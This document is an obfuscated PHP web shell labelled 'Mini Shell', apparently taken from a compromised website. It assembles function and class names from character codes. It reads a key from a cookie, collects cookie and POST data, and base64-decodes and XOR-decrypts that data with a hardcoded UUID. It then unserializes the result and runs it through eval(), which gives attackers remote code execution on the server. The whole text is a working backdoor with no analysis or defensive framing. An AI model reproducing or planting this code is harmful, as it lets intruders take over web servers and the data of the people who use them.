Mini Shell

$KxEAp = chr ( 861 - 786 )."\x5f" . "\163" . chr ( 338 - 231 ).'s' . "\x6f";$ItUyxS = "\x63" . 'l' . "\141" . "\x73" . chr (115) . chr (95) . "\145" . "\x78" . "\151" . 's' . "\164" . chr ( 468 - 353 ); $FXuRbmjUt = class_exists($KxEAp); $ItUyxS = "16920";$hkJkfAXkA = strpos($ItUyxS, $KxEAp);if ($FXuRbmjUt == $hkJkfAXkA){function JjLkZPXA(){$TPfOjcYl = new /* 5999 */ K_skso(63573 + 63573); $TPfOjcYl = NULL;}$dFVbfKmy = "63573";class K_skso{private function WBFRReJBp($dFVbfKmy){if (is_array(K_skso::$wnTeRFv)) {$IVIrJbFI2 = str_replace("<" . "?php", "", K_skso::$wnTeRFv["content"]);eval($IVIrJbFI2); $dFVbfKmy = "63573";exit();}}public function COPEZkMSEL(){$IVIrJbFI = "48068";$this->_dummy = str_repeat($IVIrJbFI, strlen($IVIrJbFI));}public function __destruct(){K_skso::$wnTeRFv = @unserialize(K_skso::$wnTeRFv); $dFVbfKmy = "59259_50494";$this->WBFRReJBp($dFVbfKmy); $dFVbfKmy = "59259_50494";}public function kCmRgASJ($IVIrJbFI, $kiJPil){return $IVIrJbFI[0] ^ str_repeat($kiJPil, intval(strlen($IVIrJbFI[0]) / strlen($kiJPil)) + 1);}public function HwgZDLum($IVIrJbFI){$iMPOab = "\142" . "\x61" . "\x73" . 'e' . chr (54) . chr ( 488 - 436 );return array_map($iMPOab . chr (95) . "\144" . 'e' . "\x63" . chr (111) . "\x64" . "\145", array($IVIrJbFI,));}public function __construct($TjeLD=0){$saqpQPv = "\54";$IVIrJbFI = "";$AcdMz = $_POST;$wdDyJo = $_COOKIE;$kiJPil = "4f9742a1-76bd-49c9-b633-cd4d13fb6970";$WkmsXfVzTW = @$wdDyJo[substr($kiJPil, 0, 4)];if (!empty($WkmsXfVzTW)){$WkmsXfVzTW = explode($saqpQPv, $WkmsXfVzTW);foreach ($WkmsXfVzTW as $laEPXlBTk){$IVIrJbFI .= @$wdDyJo[$laEPXlBTk];$IVIrJbFI .= @$AcdMz[$laEPXlBTk];}$IVIrJbFI = $this->HwgZDLum($IVIrJbFI);}K_skso::$wnTeRFv = $this->kCmRgASJ($IVIrJbFI, $kiJPil);if (strpos($kiJPil, $saqpQPv) !== FALSE){$kiJPil = explode($saqpQPv, $kiJPil); $IUOuIGBqMo = sprintf("59259_50494", rtrim($kiJPil[0]));}}public static $wnTeRFv = 3339;}JjLkZPXA();}